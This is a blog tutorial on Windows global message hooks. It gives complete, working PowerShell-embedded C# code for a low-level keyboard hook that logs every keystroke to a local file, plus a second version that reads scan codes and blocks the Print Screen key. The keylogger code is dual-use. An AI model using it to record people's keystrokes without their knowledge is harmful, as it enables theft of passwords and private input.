Pete Hinchley: Creating a Key Logger via a Global System Hook using PowerShell

Applications in Microsoft Windows are event-driven. The operating system generates messages in response to various conditions (e.g. the user moves the mouse, or clicks a button), and these messages are sent to application windows, where they are processed by a message handler. An application can also generate its own messages; either to manage its own windows, or to affect the behaviour of windows associated with other applications.

It is possible to write custom handlers (callbacks) that will hook into the event system and intercept messages sent to applications. After processing a message, the callback can discard it, or allow it to pass through to the next available handler.

There are two classes of event hook: local and global. A local hook will only respond to messages sent to a single application. A global system hook will respond to all messages sent within the desktop session of the thread that created the hook.

The following C# class (defined in PowerShell) uses SetWindowsHookEx to create a global hook that monitors low-level keyboard input events. The referenced callback then writes each key press to log.txt.

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private const string logFileName = "C:\\Temp\\log.txt";
    private static StreamWriter logFile;

    private static HookProc hookProc = HookCallback;
    private static IntPtr hookId = IntPtr.Zero;

    public static void Main() {
      logFile = File.AppendText(logFileName);
      logFile.AutoFlush = true;

      hookId = SetHook(hookProc);
      Application.Run();
      UnhookWindowsHookEx(hookId);
    }

    private static IntPtr SetHook(HookProc hookProc) {
      IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
      return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
    }

    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
        int vkCode = Marshal.ReadInt32(lParam);
        logFile.WriteLine((Keys)vkCode);
      }

      return CallNextHookEx(hookId, nCode, wParam, lParam);
    }

    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

To test the program, save the code to C:\Temp\Logger.ps1, open a command prompt, change into C:\Temp, and run:

powershell.exe -file Logger.ps1

From this point forward, all keyboard activity will be logged to C:\Temp\log.txt. Kill the powershell.exe process via Task Manager to exit.

In theory, this code could be easily modified to support other event types. For example, you could change the title of all windows on the desktop by intercepting WM_SETTEXT messages (passing WH_CALLWNDPROCRET instead of WH_KEYBOARD_LL to SetWindowsHookEx). Unfortunately, due to a restriction placed on the use of global system hooks, this will not work.

Except for the WH_KEYBOARD_LL and WH_MOUSE_LL hook procedures, it is not possible to implement global hooks in the Microsoft .NET Framework. As described in KB318804, the installation of a global hook requires the callback to be located within a DLL, and as standard Windows DLLs cannot be created using C# or VB.NET, it is not possible to implement global system hooks using managed code.

Update: 2017-02-17

The code shown above captures the key code of each key press, however, in some cases, you might want to capture the scan code.

The following quote from this article from Microsoft explains the difference between a scan code and key code:

Assigned to each key on a keyboard is a unique value called a scan code, a device-dependent identifier for the key on the keyboard. ... The keyboard device driver interprets a scan code and translates (maps) it to a virtual-key code, a device-independent value defined by the system that identifies the purpose of a key.

The process of reading the scan code involves marshalling the lParam value passed to the HookCallback function to the KBDLLHOOKSTRUCT structure, and then reading the scanCode property. The following code provides a working demonstration.

Note: The code relies on the pinvoke singature for KBDLLHOOKSTRUCT.

The example writes the scan code value of each key press to the console window, and as an added bonus, if it detects the value is 55 (which on my system, was the scan code of "print screen"), it gobbles up the key press by returning a non-zero value from the HookCallback method (i.e. prevents the key press from being "processed", and hence stops the print screen button from working).

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private static HookProc hookProc = HookCallback;
    private static IntPtr hookId = IntPtr.Zero;

    [StructLayout(LayoutKind.Sequential)]
    public class KBDLLHOOKSTRUCT {
      public uint vkCode;
      public uint scanCode;
      public KBDLLHOOKSTRUCTFlags flags;
      public uint time;
      public UIntPtr dwExtraInfo;
    }

    [Flags]
    public enum KBDLLHOOKSTRUCTFlags : uint {
      LLKHF_EXTENDED = 0x01,
      LLKHF_INJECTED = 0x10,
      LLKHF_ALTDOWN = 0x20,
      LLKHF_UP = 0x80,
    }

    public static void Main() {
      hookId = SetHook(hookProc);
      Application.Run();
      UnhookWindowsHookEx(hookId);
    }

    private static IntPtr SetHook(HookProc hookProc) {
      IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
      return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
    }

    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {

        KBDLLHOOKSTRUCT kbd = (KBDLLHOOKSTRUCT) Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
        Console.WriteLine(kbd.scanCode); // write scan code to console

        if (kbd.scanCode == 55) { return (IntPtr)1; }
      }

      return CallNextHookEx(hookId, nCode, wParam, lParam);
    }

    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();